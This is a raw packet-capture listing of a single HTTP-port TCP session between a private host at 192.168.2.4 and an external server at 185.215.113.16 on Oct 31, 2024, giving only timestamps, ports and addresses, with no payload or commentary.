Oct 31, 2024 05:07:09.875124931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875135899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875137091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875149965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875157118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875184059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875190973 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875195980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875209093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875217915 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875224113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875247955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875247955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875272036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875272989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875300884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875322104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875324011 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875358105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875487089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875499010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875510931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875524044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875523090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875536919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875543118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875551939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875570059 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875572920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875585079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875586033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875597954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875610113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875612020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875622988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875627995 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875654936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875720978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875742912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875754118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875756025 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875783920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875859976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875905037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875916004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875927925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.875953913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.875969887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876030922 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876041889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876053095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876075029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876108885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876152992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876164913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876177073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876189947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876197100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876204967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876214027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876245022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876270056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876280069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876291037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876302958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876306057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876327038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876328945 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876353025 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876367092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876413107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876422882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876434088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876446009 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876454115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876460075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876482010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876504898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876504898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876539946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876565933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876578093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876590014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876605034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876621962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876625061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876633883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876646042 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876657009 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876658916 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876672983 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876683950 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876709938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876770973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876784086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876795053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876812935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876828909 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876831055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876842976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876854897 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876866102 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876867056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876883030 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876907110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876910925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876921892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.876945972 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.876960993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993235111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993277073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993410110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993455887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993472099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993511915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993530989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993542910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993537903 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993556976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993606091 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993654966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993666887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993679047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993690014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993699074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993701935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993721008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993725061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993732929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993746042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993757010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993768930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993778944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993779898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993799925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993810892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993818045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993823051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993839025 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993839979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993851900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993870020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993874073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993889093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993899107 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993900061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993915081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993917942 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993927002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993943930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993956089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993957043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.993968010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.993985891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994008064 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994018078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994029045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994040012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994051933 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994051933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994082928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994108915 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994199991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994211912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994221926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994232893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994245052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994256973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994292021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994297981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994323015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994333029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994334936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994364977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994386911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994398117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994410038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994421959 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994424105 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994436979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994448900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994479895 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994513988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994524956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994537115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994546890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994565010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994565964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994579077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994585037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994591951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994604111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994633913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994729996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994743109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994756937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994767904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994771957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994780064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994801998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994827986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994829893 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994839907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994869947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994879007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994889975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994908094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994919062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994923115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994931936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994942904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:09.994945049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994970083 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:09.994995117 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115186930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115226030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115256071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115271091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115288019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115303993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115335941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115361929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115381002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115397930 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115412951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115444899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115457058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115457058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115457058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115463018 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115480900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115499020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115499020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115515947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115525961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115535021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115550995 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115552902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115569115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115572929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115586996 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115592003 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115609884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115614891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115627050 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115633965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115648985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115663052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115668058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115681887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115700006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115701914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115716934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115719080 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115727901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115739107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115746021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115751028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115761995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115767002 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115767956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115775108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115780115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115786076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115791082 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115802050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115833998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115874052 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115905046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115921021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115942955 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115952015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115963936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115972042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.115976095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115988016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.115991116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116000891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116004944 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116013050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116024971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116038084 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116038084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116053104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116054058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116065025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116077900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116079092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116127014 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116266966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116278887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116290092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116302013 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116312981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116314888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116327047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116329908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116354942 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116393089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116396904 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116406918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116417885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116435051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116436958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116449118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116455078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116455078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.116461992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116466999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116472960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116477966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116483927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116488934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116497040 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.116663933 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.229825974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.229852915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.229865074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.229927063 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.229967117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.229986906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.229995966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.229999065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230010986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230016947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230025053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230041027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230077982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230330944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230344057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230355978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230385065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230387926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230401993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230410099 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230420113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230432987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230436087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.230452061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.230462074 CET	80	49803	185.215.113.16	192.168.2.4
